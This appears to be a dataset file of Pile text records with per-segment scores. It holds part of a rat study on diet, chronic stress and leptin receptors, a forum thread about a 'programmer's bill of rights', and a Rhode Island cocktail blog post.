"The results demonstrate significant correlation between behavioral variables and the levels of LepRb protein (sucrose preference: r = 0.706, p = 0.000 in the hippocampus; r = 0.674, p = 0.000 in the hypothalamus; cross lattice numbers: r = 0.676, p = 0.000 in the hippocampus; r = 0.575, p = 0.003 in the hypothalamus; percentage of time spent in the open arms: r = 0.628, p = 0.001 in the hippocampus; r = 0.663, p = 0.000 in the hypothalamus and percent of time in target quadrant r = 0.045, p = 0.007 in the hippocampus; r = 0.532, p = 0.026 in the hypothalamus) and mRNA (sucrose preference: r = 0.664, p = 0.000 in hippocampus; r = 0.414, p = 0.045 in hypothalamus; cross lattice numbers: r = 0.714, p = 0.000 in hippocampus; r = 0.583, p = 0.003 in hypothalamus; open arm time percentage: r = 0.729, p = 0.000 in hippocampus; r = 0.612, p = 0.002 in hypothalamus and target quadrant time percent r = 0.608, p = 0.002 in hippocampus; r = 0.482, p = 0.017 in hypothalamus) in the hippocampus and hypothalamus.",
"\n\nDiscussion\n==========\n\nThis study described for the first time a model of comorbid obesity and depression in male rats. ",
"This model shares common features with humans. ",
"The effects of HFD and CUMS on depression-like and anxiety-like behavior, leptin/LepRb signaling of the rats and their interaction impact were investigated. ",
"The results of this study were summarized and found in [Supplementary Table S1](#S1){ref-type=\"supplementary-material\"}. ",
"We confirmed that the HFD could induce obesity and CUMS could cause depression-like and anxiety-like behavior as well as cognitive impairment in rats. ",
"This is the first study that reported the interaction effects between adipose/body weight, levels of plasma leptin and LepRb protein in the hippocampus and hypothalamus when the animals were exposed to combined the HFD and CUMS. ",
"The correlation analysis showed a significant and positive correlation between depression/anxiety-like behavior, cognitive impairment and the levels of LepRb protein and mRNA in the hippocampus and hypothalamus. ",
"Our results were in agreement with the conclusion that leptin and LepRb play an important role in the pathophysiology of obesity and depression[@b23][@b25][@b31].",
"\n\nEpidemiological studies have shown that consumption of high energy diet is an important etiology for obesity. ",
"This observation was found in animal studies with chronic intake of HFD[@b32][@b33][@b34]. ",
"The present study confirmed that 11-week consumption of HFD increased the body weight and adipose/weight ratio significantly. ",
"During the 3-week of CUMS, there was reduction in the body weight of the CUMS group and this finding is congruent with previous studies[@b35][@b36][@b37]. ",
"Nevertheless, body weight and adipose level of the Co group were slightly increased during the CUMS procedure and lower than the Ob group but higher than the CUMS group at the 11^th^ week. ",
"These results were consistent with the finding that animals with HFD-induced obesity demonstrated a sudden reduction of food consumption in the first 3 weeks of the CUMS procedure[@b38]. ",
"Interestingly, the CUMS group exhibited a decline in body weight in the first week of CUMS while the rats in Co group demonstrated a small increase in body weight. ",
"Therefore, we speculate that the CUMS has mitigating effect on weight gain and increase in adipose tissues. ",
"Furthermore, statistical analysis results confirmed the significant interactive effect between CUMS and HFD.",
"\n\nAnhedonia and reduction in explorative interest are considered as important symptoms of depressive disorder which are also found in patients suffering from anxiety disorder[@b39]. ",
"The present study found that the CUMS had reduced sucrose preference during the SPT (i.e. more anhedonia), lower cross lattice number (i.e. less explorative interest) during the OFT and lower percent of time spent in the open arms (i.e. more anxiety-like behavior) during the EMT, which are consistent with former studies[@b40]. ",
"Recent studies reported chronic HFD intake led to depressive- and anxious-like behaviors[@b38][@b41], but emotional disturbances were not further aggravated when the HFD animals were exposed to the CUMS[@b38]. ",
"Del Rio *et al*. ",
"further reported that HFD could induce antidepressant-like effect but had no effect on anxiety[@b42]. ",
"Our study showed different results because the Ob group exhibited depressive-like and anxiety-like behavior without any antidepressant-like effect. ",
"In our study, the Co group did not exhibit higher levels of anhedonia as compared with the CUMS group. ",
"Nevertheless, the Co group demonstrated the lowest levels of explorative interest, highest level of anxiety-like behavior and lowest level of spatial learning and memory among the 4 groups. ",
"Hence, our results suggest that the combination of obesity and chronic stress will significantly worsen explorative interest, anxiety-like behavior and impairments in spatial learning and memory but not anhedonia as compared to the effect of obesity or chronic stress alone.",
"\n\nPrevious studies have reported cognitive impairment and memory deficits induced by CUMS[@b43][@b44]. ",
"In this study, the CUMS group also exhibited significant impairment in spatial learning and memory during the MWM test. ",
"Previous research have reported that chronic HFD intake (e.g. for 4 months) had a deleterious effect on the hippocampal-dependent plasticity and memory, particularly in juvenile mice[@b45][@b46][@b47]. ",
"On the other hand, short term exposure to HFD did not exert any effect on the hippocampal-dependent memory when administered to adult mice. ",
"In our study, Ob rats didn't show significantly memory impairment in MWM which may be related with the deficiency of HFD consumption period. ",
"The Co group showed the lowest percent of time spent in target quadrant compared with the other groups. ",
"This indicated that significant impairments in spatial learning and memory were caused by combined exposure to CUMS and HFD.",
"\n\nLeptin is an anti-obesity hormone which plays a role in satiety regulation. ",
"The elevated leptin levels at discharge from the hospital were found to be associated with the risk of developing depression after stroke[@b48]. ",
"The elevated leptin level could be a response to obesity which is a risk factor for stroke. ",
"Ge *et al*. ",
"reported that the serum levels of leptin and mRNA expression of LepRb were both decreased in depressed rats[@b49]. ",
"In contrast, Morris *et al*. ",
"reported that depressed patients had higher levels of serum leptin compared with healthy people. ",
"Patients suffering from moderate to severe depression had higher levels of leptin than those suffering from mild depression. ",
"Our study found that levels of leptin of the CUMS, Ob and Co groups were significantly higher than the Ctr group. ",
"Our results suggest either HFD or CUMS could induce higher levels of plasma leptin. ",
"This study further found that there was interaction effects between the HFD and CUMS on plasma level of leptin, which indicated that chronic stress could reverse increased leptin level in rats exposed to HFD. ",
"As a result, the Co group did not demonstrate highest levels of leptin among the 4 groups.",
"\n\nPrevious studies highlighted that abnormality in the hippocampus in the pathophysiology of emotional disorders and cognitive impairment, and deletion of LepRb in the hippocampus of adult mice could induce depression-like behaviors[@b50]. ",
"This present study further investigated the central LepRb expression in the hippocampus of rats. ",
"The expression of LepRb protein and mRNA in the hippocampus of the CUMS, Ob and Co groups was significantly lower than the Ctr group. ",
"Moreover, the Co group exhibited lower expression of LepRb protein than CUMS group and Ob group in the hippocampus and hypothalamus. ",
"One possible explanation is that chronic stress induced apoptosis and necrosis in hippocampal neurons could lead to mood dysregulation and cognitive impairment[@b51][@b52][@b53]. ",
"Our study also observed the neuronal necrosis in CA1 and CA3 regions of the hippocampus, which support previous findings that chronic unexpected mild stress and chronic social defeat stress could reduce proliferation of neural progenitor cells in the hippocampus (see [Supplementary Fig. ",
"S1](#S1){ref-type=\"supplementary-material\"})[@b54]. ",
"Furthermore, there were interactive effects between the HFD and CUMS on the expression of LepRb protein and mRNA in the hippocampus. ",
"Depressive and anxiety-like behaviors and memory impairment significantly correlated with the levels of LepRb protein and mRNA in the hippocampus. ",
"This implied that the down-regulation of LepRb signaling in the hippocampus might be associated with depressive and anxiety-like behaviors and cognitive impairment in rats.",
"\n\nThe hypothalamus is involved in regulation of food intake, body temperature and emotion. ",
"Dysfunction of the hypothalamus was found to be closely related to the pathophysiology of depressive disorder[@b30]. ",
"The levels of expression of LepRb protein and mRNA in the Ob group and Co group were significantly lower than the Ctr group in the hypothalamus. ",
"More importantly, this study was the first to report that there was interactive effect between the HFD and CUMS on the expression of LepRb protein in the hypothalamus. ",
"The depressive-like behaviors and memory impairment were associated with the lower levels of LepRb protein and mRNA in the hypothalamus. ",
"These results suggest that lower levels of LepRb expression in the hippocampus and hypothalamus caused by CUMS and obesity alone or in combination could induce depressive and anxiety-like behaviors and cognitive impairment. ",
"Our finding indicate that lower levels of LepRb in the hippocampus and hypothalamus may play a critical role in both obesity and comorbid depression and the specific mechanisms causing these phenomena require further study.",
"\n\nMethods\n=======\n\nAnimals\n-------\n\nSixty-eight male Wistar rats purchased from the Experimental Animal Center of Shandong University, which were 9 weeks old and weighing 200--230 grams, were housed in groups of 4--6 and maintained under 12 hrs light-dark cycle, at 20--24 °C with free access to food and water. ",
"All procedures used in this study were reviewed and approved by the Ethics Committee of the Medical school of Shandong University, which complied with the National Institute of Health Guide for the Care and Use of Laboratory Animals (NIH publication No. ",
"85-23, revised 1985).",
"\n\nExperimental procedure\n----------------------\n\nAfter 7 days of adaptation, rats were randomly divided into 2 groups according to body weight. ",
"24 rats fed with regular diet were in the regular diet group (RD, 8% fat, Animal Center of Shandong University) while 44 rats fed with high-fat diet were in high-fat diet group (HFD, 60% of calories derived from fat, 20% of calories derived from protein, 20% of calories derived from carbohydrate; Research Diets of New Brunswick D12492, NJ.). ",
"Food intake of rats was recorded every day by weighing uneaten food each morning and body weight of all rats was recorded per week. ",
"At the end of the 8th week, 26 rats whose body weights were over the average weight of +1.96 times the standard deviation of the regular diet group were assigned into the diet-induced obesity (DIO) group. ",
"Subsequently, rats in RD group and DIO group were randomly divided into unstressed groups and stressed groups. ",
"Therefore, there were four groups in the study: control group (Ctr, n = 12), CUMS group (CUMS, n = 12), obesity group (Ob, n = 13), combined obesity and CUMS group (Co, n = 13).",
"\n\nChronic unpredictable mild stress\n---------------------------------\n\nRats in the CUMS group and Co group were repeatedly exposed to a series of chronic unpredictable mild stressors that included the following: 8 hours of food deprivation, 8 hours of water deprivation, 45° leaning of the rat's cage, group feeding (Two cages were combined), confusing day and night, soaking the cage with water, and horizontal oscillation for 20 minutes. ",
"Each stressor was applied every day, and the entire stress procedure lasted for 3 weeks, with stressors applied in a completely random order inducing a depressive state[@b55].",
"\n\nBehavior tests\n--------------\n\n### Sucrose preference test (SPT)\n\nA decreased preference for sucrose has been considered to be homologous to anhedonia, one of the defining symptoms of major depression[@b55][@b56]. ",
"Prior to the test, there was a 4-days adaptation period for rats to habituate to the 1% (W/V) sucrose solution or water. ",
"After that, a 23-hour period of water and food deprivation was carried out. ",
"Then each rat was put into one cage separately and was given free access to two bottles for 1 hour, one with 200 ml sucrose solution and the other with 200 ml water. ",
"The sucrose preference percentage was evaluated by the amount of sucrose solution consumed among all fluids consumption.",
"\n\n### Open-field test (OFT)\n\nOpen field test was used to test the exploration motivation of rats[@b57]. ",
"Rats were placed individually in the center of the apparatus and left freely to explore the arena for 5 minutes. ",
"Total cross lattice number and total cross distance were recorded by a camera that was linked to a computer that was fitted with SMART video tracking system.",
"\n\n### Elevated plus maze test (EMT)\n\nThe elevated plus maze consisted of 4 arms designed in a cross-shape, of which 2 were open and 2 were close. ",
"The 4 arms meet in a 5 cm × 5 cm central square open area which enabled the rats to freely enter each arm of the maze. ",
"Rats were placed in the central square area of the maze facing an open arm and allowed to freely explore the maze for 5 minutes. ",
"Movement of the rats in the maze was recorded by a camera linked to a computer. ",
"Time spent in the open arms, number of times of entering the open arms and distance traveled in each arm by the rats were analyzed[@b58]. ",
"The lower percentage of time spent in the open arms indicates more anxiety-like behavior in rats.",
"\n\nMorris Water Maze\n-----------------\n\nSpatial learning and memory of the rats were assessed by the MWM[@b59]. ",
"Rats were allowed to swim freely for 60 s every 24 hours before the formal training. ",
"During the following 4 consecutive days, the rats were trained to find a platform (15 cm diameter) hidden under the water surface in the quadrant IV 4 times per day. ",
"In each training, the rats were put in the water facing the pool wall from one of the four points spaced 90° around the border of pool and given a 120 second swimming time limit. ",
"If the rats could find the platform, they were required to remain on the platform for 15 seconds. ",
"Otherwise, they were guided to the platform and had to remain on it for 15 seconds. ",
"On the 5^th^ day, rats were released into the maze without the hidden platform from an identical point of quadrant I and allowed to swim freely for 60 seconds. ",
"The percentage of time rats spent in quadrant IV on the 5^th^ day was analyzed.",
"\n\nTissue preparation\n------------------\n\n24 hours after MWM, all rats were weighted. ",
"Then, 8 rats of each group were anesthetized with pentobarbital and euthanized by decapitated. ",
"The brains were removed rapidly and dissected on ice. ",
"The hippocampus and the hypothalamus were quickly isolated and dipped into liquid nitrogen and stored at −80 °C for RNA and protein extraction. ",
"Blood was gathered into anticoagulation tubes and 3000 r/min low temperature centrifugation to collect plasma. ",
"Fat of Retroperitone, omenta and epididymis were measured. ",
"Other rats were anesthetized with pentobarbital and perfused with 50 ml of 0.1 m PBS, followed by 200 ml ice-cold 4% paraformaldehyde (PFA). ",
"The brains were removed and immersed in the PFA for 24 hours. ",
"The fixed brain was dehydrated and embedded in paraffin.",
"\n\nMeasurement of adipose/weight\n-----------------------------\n\nAdipose/weight percent (%) was calculated as (\\[retroperitoneal fat (g) + omental fat (g) + epididymal fat (g)\\]/\\[body weight (g) at the end of experimental procedure\\]) × 100[@b60].",
"\n\nPlasma leptin levels\n--------------------\n\nPlasma concentrations of leptin were determined by using rat leptin ELISA kits (Huijia Biotechnology Company, Xiamen, China).",
"\n\nImmunohistochemistry\n--------------------\n\nParaffin-embedded brain tissues were cut to a thickness of 5 μm. ",
"Sections were deparaffinized with xylene and rehydrated with a graded alcohol series, followed by 9 minutes of heat-induced antigen retrieval in a microwave in a sodium citrate buffer (pH 6.0) and allowed to cool for 45 minutes at room temperature. ",
"Endogeous peroxidase activity was blocked with 3% hydrogen peroxide for 10 min. ",
"After washing with phosphate-buffered saline (PBS) for 3 times, slides were incubated with 10% bovine serum albumin for 15 minutes. ",
"Thereafter, the slides were incubated with the primary polyclonal antibody for LepRb (sc-8325, Santa Cruz Biotechnology, Inc., dilution 1:250) overnight at 4 °C. ",
"After rinsing in PBS for 3 times, the slides were incubated with the secondary antibody and the streptavidin/HRP complex for 30 minutes at 37 °C respectively. ",
"Diaminobenzidine/H~2~O~2~ was used as the chromogen for 4 minutes and hematoxylin as the counterstain for 10 minutes. ",
"Five high-power fields were randomly selected subfields of hippocampus and hypothalamus at 400× magnification. ",
"LepRb expressive cell counts were performed.",
"\n\nProtein extraction and Western Blotting\n---------------------------------------\n\nHippocampus and hypothalamus (30 mg, separately) were homogenized on ice with 2 mM phenylmethanesulfonyl fluoride in 1 ml ice-cold RIPA buffer added protease inhibitor. ",
"The protein concentration in the supernatant was harvested and determined by the BCA analysis. ",
"Equal amounts of protein (40 ug) from each sample were separated by 12% SDS-PAGE and transferred to PVDF membranes (Millipore, Boston, MA). ",
"The membranes were blocked by non-fat dry milk buffer for 1 hour and then immunoblotted overnight at 4 °C with primary antibody against LepRb (sc-8325, Santa Cruz Biotechnology, dilution 1:250) and β-actin (Proteintech, USA; dilution 1:1000). ",
"After being washed for three times, the membranes were incubated with HRP-conjugated secondary antibody (Proteintech, USA; dilution 1:2000) for 1 hour at room temperature, washed and visualized by employing enhanced chemiluminescence. ",
"The optical densities of bands were recorded and analyzed by using C-Digit (LI-COR, USA). ",
"Relative expression was normalized to β-actin.",
"\n\nRNA extraction, reverse transcription cDNA synthesis and quantitative PCR\n-------------------------------------------------------------------------\n\nTotal RNA was extracted from homogenized tissues using Trizol (Invitrogen, Carlsbad, CA, USA). ",
"Reverse transcription and real-time quantitative PCR of total cDNA were performed using standard reagents and protocols (CWBIO, Beijing, China). ",
"The real-time quantitative PCR was used in 96-well format with a 20 μl reaction volume per well, which was performed on an ABI Prism 7500 sequence detection system. ",
"In general, PCR was performed at 95 °C/5 minutes, forty cycles were run with the following conditions: 95 °C/30 seconds, 60 °C/30 seconds, 72 °C/30 seconds and terminated at 72 °C/5 minutes. ",
"The amount of mRNA was normalized to the expression of β-actin. ",
"All PCR data analysis used the 2^−ΔΔ^CT method.",
"\n\nStatistics Analysis\n-------------------\n\nResults were presented as mean ± SD and were analyzed by SPSS16.0. ",
"The data were tested by two-way ANOVA of 2 × 2 factorial design followed by LSD post hoc test for grouped comparison. ",
"The Pearson's correlation test was used to analyze the correlation between the behavioral variables and LepRb Level. ",
"Differences were considered significant when a minimum value of P less than 0.05.",
"\n\nAdditional Information\n======================\n\n**How to cite this article**: Yang, J. L. *et al*. ",
"The Effects of High-fat-diet Combined with Chronic Unpredictable Mild Stress on Depression-like Behavior and Leptin/LepRb in Male Rats. *",
"Sci. ",
"Rep.* **6**, 35239; doi: 10.1038/srep35239 (2016).",
"\n\nSupplementary Material {#S1}\n======================\n\n###### Supplementary Information\n\n**Author Contributions** F.P. and R.C.H. were involved in study design and date interpretation; J.L.Y. performed the majority of the laboratory work and data analysis and writing the manuscript; D.X.L. and H.J. performed behavioral data analysis; R.C.H. and C.S.H. revised manuscript.",
"\n\n{#f1}\n\n{#f2}\n\n{#f3}\n\n{#f4}\n\n{#f5}\n\n{#f6}\n\n{#f7}\n"
] | {
"pile_set_name": "PubMed Central"
} | [
0.0012958500301465392,
0.002294618170708418,
0.009999272413551807,
0.0010820940369740129,
0.010122988373041153,
0.0030861145351082087,
0.004577323794364929,
0.0006122314953245223,
0.0017270458629354835,
0.000572077464312315,
0.0011364537058398128,
0.0006207895930856466,
0.001019175979308784,
0.0023686611093580723,
0.0006999922916293144,
0.10208750516176224,
0.0010337934363633394,
0.0012519427109509706,
0.001604421529918909,
0.0011071902699768543,
0.0010203734273090959,
0.0007599309319630265,
0.0008585127652622759,
0.0006789292674511671,
0.005750914569944143,
0.0052720108069479465,
0.0012741254176944494,
0.0006374363438226283,
0.0007842947961762547,
0.012648574076592922,
0.0006334305508062243,
0.0007909908890724182,
0.000625456974375993,
0.0009074700647033751,
0.06986244767904282,
0.0009245322435162961,
0.0008435058989562094,
0.0007532164454460144,
0.002551327459514141,
0.0017849571304395795,
0.0006416618707589805,
0.0007490965654142201,
0.0012407475151121616,
0.00105986965354532,
0.0014211181551218033,
0.0038229054771363735,
0.0014631886733695865,
0.0015878592384979129,
0.011617652140557766,
0.0007272515213117003,
0.0010632681660354137,
0.029877204447984695,
0.0008616215782240033,
0.0006484674522653222,
0.0015646838583052158,
0.027256961911916733,
0.0007711010402999818,
0.000671214482281357,
0.0015206352109089494,
0.0022931371349841356,
0.0010071885772049427,
0.0008964878506958485,
0.0010879765031859279,
0.0009129964164458215,
0.0008415221236646175,
0.0009850149508565664,
0.0006706687272526324,
0.0018087364733219147,
0.001348000136204064,
0.0009430076461285353,
0.0005682259215973318,
0.0009448927594348788,
0.0019246148876845837,
0.0012423346051946282,
0.004228339996188879,
0.001137618557550013,
0.004109692759811878,
0.0008466527797281742,
0.0029917932115495205,
0.0018597302259877324,
0.0073016854003071785,
0.003217325545847416,
0.006630172021687031,
0.0009236838668584824,
0.004227165598422289,
0.003041396848857403,
0.0009509152732789516,
0.0026798422913998365,
0.002025411231443286,
0.0006371690542437136,
0.0007058120681904256,
0.0005504342843778431,
0.032024286687374115,
0.0012624200899153948,
0.0011408193968236446,
0.0006311071920208633,
0.0012271730229258537,
0.0006119270692579448,
0.000595729798078537,
0.0017568942857906222,
0.0021810366306453943,
0.0008875769563019276,
0.0011590447975322604,
0.003336228197440505,
0.0006270742160268128,
0.001125733950175345,
0.0008225737255997956,
0.001409695134498179,
0.0007882136851549149,
0.0008329647243954241,
0.0011615222319960594,
0.001012525288388133,
0.0006678616045974195,
0.0008697427692823112,
0.0009441381553187966,
0.000632160110399127,
0.0006633652956224978,
0.0011828735005110502,
0.0007774874684400856,
0.0007275714888237417,
0.0009667588165029883,
0.003417107043787837,
0.0006792854983359575,
0.0014001241652294993,
0.003318183124065399,
0.0007322789169847965,
0.0007394389831461012,
0.0011268050875514746,
0.0012575548607856035,
0.0012016863329336047,
0.0011407562997192144,
0.0009319618111476302,
0.0007207583403214812,
0.0017266686772927642,
0.0016972350422292948,
0.003521946957334876,
0.030559631064534187,
0.0012110135285183787,
0.000995719339698553,
0.0006294255726970732,
0.005484804045408964,
0.0026284693740308285,
0.0013894743751734495,
0.002335443627089262,
0.003246892476454377,
0.0011179614812135696,
0.001962927868589759,
0.0021911384537816048,
0.0126602528616786,
0.0009947010548785329,
0.0009086295031011105,
0.0005792560987174511,
0.0006786006852053106,
0.0007815906428731978,
0.003077311906963587,
0.0013847511727362871,
0.0009633206645958126,
0.0008013754268176854,
0.0007608986343257129,
0.0011415036860853434,
0.0007120485533960164,
0.0008945665904320776,
0.0006418689154088497,
0.0005694081191904843,
0.004521129187196493,
0.0006975666037760675,
0.0006052845856174827,
0.0007474892190657556,
0.0005857961950823665,
0.00063172890804708,
0.0007225322769954801,
0.0008546920143999159,
0.0007182651897892356,
0.0006124851643107831,
0.004840727895498276,
0.0006519032176584005,
0.009749541990458965,
0.0007398376474156976,
0.0007552731549367309,
0.0013881304766982794,
0.0006418408011086285,
0.0010220727417618036,
0.0007062749937176704,
0.0007540808292105794,
0.012408554553985596,
0.0047222222201526165,
0.0007237265235744417,
0.1494694948196411,
0.05202127993106842,
0.003970033023506403,
0.0023639784194529057,
0.010789289139211178,
0.0008275072905234993,
0.0006664757966063917,
0.001049781683832407,
0.0008814897737465799,
0.000895164383109659,
0.0007722371956333518,
0.0005906589212827384,
0.0005818351055495441,
0.0019240471301600337,
0.001936345244757831,
0.0005859332159161568,
0.0010450726840645075,
0.0005856311763636768,
0.0005781132495030761,
0.000794464664068073,
0.0006199376657605171,
0.0005877829971723258,
0.0006336530204862356,
0.0006473985267803073,
0.0005524499574676156,
0.0005917808739468455,
0.0006292351172305644,
0.0006432965165004134,
0.0006332467892207205,
0.0006324343266896904,
0.0005387697019614279,
0.0005939062684774399,
0.0006041309679858387,
0.0006722669932059944,
0.0018530620727688074,
0.0008689719252288342,
0.0007306993938982487,
0.0007279179408214986,
0.0019055769080296159,
0.0011633109534159303,
0.0011589790228754282,
0.0008308493997901678,
0.01050282921642065,
0.0010425056098029017,
0.009135507047176361,
0.003161198692396283,
0.003652880433946848,
0.015183279290795326,
0.012630496174097061,
0.03565627336502075,
0.0038432797882705927,
0.004721368663012981,
0.0009589685942046344,
0.0009574457653798163,
0.026580754667520523
] | 0.00416 | 242 |
[
"Get over yourselves. ",
"The vast majority of you are not writing operating systems, or programming in ML! ",
"You are programming business logic in garbage collected languages. ",
"You get a paycheck. ",
"If you don’t like the conditions where you work, work somewhere else.",
"\n\nProgrammers shouldn’t be given fast computers. ",
"Fast computers let programmers write dog-slow code. ",
"If the people writing gnome or KDE (or Windows, for that matter) had been on slower machines with less memory, the desktops would be much, much more lightweight.",
"\n\nJohn F, grendelkhan: This only works if the company is dogfooding. ",
"Generally, it would be better to put any internal users (sales, QA) on the lousy hardware, so that they feel the pain, and report it to the devs.",
"\n\nAt any rate, if you’re developing webapps, there’s no excuse for slow hardware.",
"\n\nI am all for this bill of rights! ",
"I am still in college, but I think these are a must for a programmer. ",
"As for the fast PC, it would be nice, but if I can have a second one to run as a server, I am happy.",
"\n\nJohn F: maybe incremental builds are less than a minute, but then you change a common header and have to rebuild the project – forget about it – a lot of application development projects are not going to do a clean build in under a minute. ",
"More like 20-30.",
"\n\nWith that kind of delay, devs either work around putting the code in the “right” place in order to avoid the downtime (leading to shoddy code), or they’ll wander off (physically and mentally) and lose their place, and probably not notice when it’s done, adding even more down time.",
"\n\nI think there’s a magic cutoff where if the compile/link/rerun time takes more than say 30 seconds, the dev will get bored/distracted and downtime goes exponential.",
"\n\nFeatures and performance are constraints applied by management/marketing. ",
"Optimization comes at the end, no need to make devs suffer with a slow machine all along the way, just during the final polishing.",
"\n\nNo. ",
"Every programm shall have a large monitor. ",
"That’s all. ",
"For debugging, they should have an additional remote PC, not a remote monitor. (",
"You ain’t never crashed a kernel, or driver obviously)\n\nEvery programmer shall have a fast PC\n\nONLY for compiling. ",
"The target PC for the application must, in fact, be the absolutely slowest computer available on the market, and barely have any disk space at all. ",
"The faster the PC the programmer targets, the more bloatware they write.",
"\n\nEvery programmer shall have their choice of mouse and keyboard\n\nThis one I agree with. ",
"Also through in the text editor.",
"\n\nEvery programmer shall have a comfortable chair\n\nYeah, whatever.",
"\n\nEvery programmer shall have a fast internet connection\n\nWhat has a fast connection got to do with anything? ",
"Krugle, and sourceforge doesn’t go any faster just because you have XDSL.",
"\n\nI can’t understand why people don’t understand #6, which basically means that the programmer should work in an environment that doesn’t have people coming and going and interrupting their work all the time.",
"\nAlso, #3 sounds like I’m supposed to bring my own equipment o_O\n\nEvery programmer shall have the right to install and configure all software on his PC\n\nAs in, not be forced to work on a locked down PC where the software was slapped on as a default install by a teenager who has “IT experience” (ie: has played a computer game or two) on temporary contract to an outsourcer for whom maintaining control over the desktop is more important than having the desktop used to accomplish something and where ‘lockdown’ is being used as a poor substiture for security.",
"\n\nI can’t understand why people don’t understand #6, which basically means that the programmer should work in an environment that doesn’t have people coming and going and interrupting their work all the time.",
"\n\nSome programmers don’t understand it either - but then quite often they are the ones not doing anything clever enough to be concentrating on the task on hand (people who produce bad code that does not work well and isn’t worth the paper its printed on do not care in the least about point #6).",
"\n\nLikewise for some managers (and I really have seen some who take the attitude that nervous breakdown due to environmental problems simply means “time to find another contractor and put this one out on the street, no notice required”).",
"\n\nI’m not convinced by #2, unless there’s a rider for testing to be done on mediocre machines. ",
"I’d hate for the programmer’s bill of rights to take away from the end user’s experience by assuming everyone will use fast machines with loads of memory."
] | {
"pile_set_name": "Pile-CC"
} | [
0.5209662318229675,
0.0013259369879961014,
0.14887191355228424,
0.07151119410991669,
0.002140514785423875,
0.0021456265822052956,
0.06393513083457947,
0.0006031112861819565,
0.008300232701003551,
0.003332114778459072,
0.001045587589032948,
0.0008589255739934742,
0.000618524441961199,
0.000548840849660337,
0.000757650239393115,
0.0008177719428204,
0.0032408377155661583,
0.0010694549418985844,
0.0005564027233049273,
0.002361065475270152,
0.0013785817427560687,
0.0006235268083401024,
0.0011882195249199867,
0.000600340950768441,
0.004713000264018774,
0.002118036150932312,
0.0012111957184970379,
0.0005606068298220634,
0.0006095959106460214,
0.000613111536949873,
0.000667519576381892,
0.0025042658671736717,
0.0007512991433031857,
0.0015873543452471495,
0.0007512991433031857,
0.000891945674084127,
0.000639368430711329,
0.001432698336429894,
0.006709638051688671
] | 0.022168 | 39 |
[
"MxMo: Local Flavor\n\nThe challenge this month, thanks to Kevin at Save the Drinkers, is local challenge. ",
"Let’s see how Kevin defines that:\n\nOption 1: Gather ingredients that are representative of the culture/geography/tackiness of your respective cities and make a drink with a truly place-based style. ",
"For example, huckleberries are native to the geographical area where I live, as are elderflowers, potatoes, and extremely conservative, closet-case politicians. (",
"I’m just saying!)",
"\n\nOption 2: Dig up an old drink that came from your city and revive it! ",
"If you can find the original bar, that would be even more interesting.",
"\n\nI don’t know about you, but when I think “local flavor” and “New England,” the first thing I think of is seafood. ",
"The official vegetable of Rhode Island, after all, is the squid.*",
"\n\nBut alas, there are few cocktail recipes that require seafood, unless you count the oyster shooter, which I don’t, frankly. ",
"And I haven’t settled in to Providence long enough just yet to know what’s representative of my city. ",
"Forbes tells me that Providence is fourth among the nation’s hardest drinking cities, but that doesn’t really tell me what Providence drinks. ",
"The 18th Amendment, which prohibited the sale, manufacture, and distribution of beverage alcohol, was ratified by all but two states–Rhode Island and Connecticut. ",
"But that still doesn’t tell me what Rhode Island drinks.",
"\n\nI don’t know what edible flora are native to Rhode Island. ",
"I don’t know what Roger Williams ate for dinner the day he founded Providence. ",
"So, aside from seafood, I don’t know much about the food culture of Rhode Island or Providence.",
"\n\nWhat I do know is what’s available to us from local farmers at the city’s farmers markets. ",
"I know what spirits are distilled in Rhode Island and its neighboring states. ",
"And I know how much Jen and I enjoy shopping our local farmers markets, especially in August, at the height of the season.",
"\n\nI’ve talked before about the benefits of making your own tomato juice for a Bloody Mary, but today, we’re going a little farther. ",
"Today, I can tell you that everything we could source locally, we sourced locally. ",
"Jen was tentatively calling our weekend’s concoction the Bloody Rhody, but that’s not quite accurate, as you’ll see. ",
"I’m dubbing it the Bloody Nor’easter.",
"\n\nFor the Bloody Nor’easter, I started with local heirloom tomatoes, grown in RI and prepared as discussed in the previous link. ",
"I took two ounces of Triple Eight Vodka, distilled on Nantucket Island in Massachusetts, and muddled two small hot peppers and a small handful of basil (both from the farmers market) into the vodka. ",
"I strained the solids out and returned the vodka to the mixing glass.",
"This worked well because I got the flavors of the peppers and basil in the vodka without the solids mucking up the works. ",
"I could have achieved the same effect by steeping the peppers and basil in the vodka for some time, but I didn’t plan ahead.",
"\n\nI added four ounces of tomato juice (for two drinks), lime juice (not local, since citrus doesn’t grow in the Northeastern United States), Worcestershire (also not local), salt (also not local), some local Rhode Island Red hot sauce, and a secret ingredient.",
"\n\nWhat? ",
"Okay, I’ll tell you the secret. ",
"Remember how I said that few cocktails require seafood? ",
"Well, as any reputable Canadian might tell you, a tomato-based drink does well with a bit of seafood. ",
"The night before I assembled the Bloody Nor’easter, Jen had simmered up some Rhody clams with a bit of Trinity IPA (from a Providence brewpub) and some shallot. ",
"She reserved a bit of the clam-beer liquid for me before doctoring it up with spices and butter for our dinner, so I added a bit of that to the mix.",
"\n\nWe served ’em up with a beer chaser. ",
"Jen chose the Trinity IPA from Providence, and because I don’t really dig on the IPA style, I selected the Hurricane Amber Ale from Coastal Extreme in Newport, RI.",
"\n\nI actually have another drink with local flavor, but I’m whizzing close enough to deadline and bedtime as it is. ",
"The second one will have to wait until later in the week.",
"\n\n*I kid, of course. ",
"I’m a squid kidder. ",
"RI has no state veg, and its state fruit is the Greening Apple, which won’t ripen for at least another month.",
"\n\nAdvertisements\n\nShare this:\n\nLike this:\n\nRelated\n\nPost navigation\n\n4 thoughts on “MxMo: Local Flavor”\n\nWe were just in your fair city this weekend and would have loved to stop by to help you taste test – looks like a great drink! (",
"The lime is regionally appropriate b/c didn’t those whaling ships have to carry limes to keep scurvy away?)",
"\n\nWorcestershire sauce has anchovies in it, so you added a little extra seafood to your cocktail. ",
"🙂\n\nI’m trying to think of a Memphis cocktail… Hurricanes and mint juleps are semi-regional favorites, but I find myself wondering about a twist on the White Russian made with buttermilk, moonshine, and crumbled cornbread."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0006169691914692521,
0.0005642392206937075,
0.0014088241150602698,
0.0008182606543414295,
0.0011917742667719722,
0.0005343054072000086,
0.0005510232876986265,
0.0007473820587620139,
0.0008300154586322606,
0.0005761865177191794,
0.0006991456029936671,
0.0007193296914920211,
0.0006146016530692577,
0.0006621266948059201,
0.0006299990345723927,
0.0005638521397486329,
0.0005615028203465044,
0.0005938815884292126,
0.0005713317659683526,
0.045767005532979965,
0.0005202208994887769,
0.02691408060491085,
0.047414034605026245,
0.002909549977630377,
0.0067961313761770725,
0.011964677833020687,
0.0027328713331371546,
0.0015590450493618846,
0.0006081477622501552,
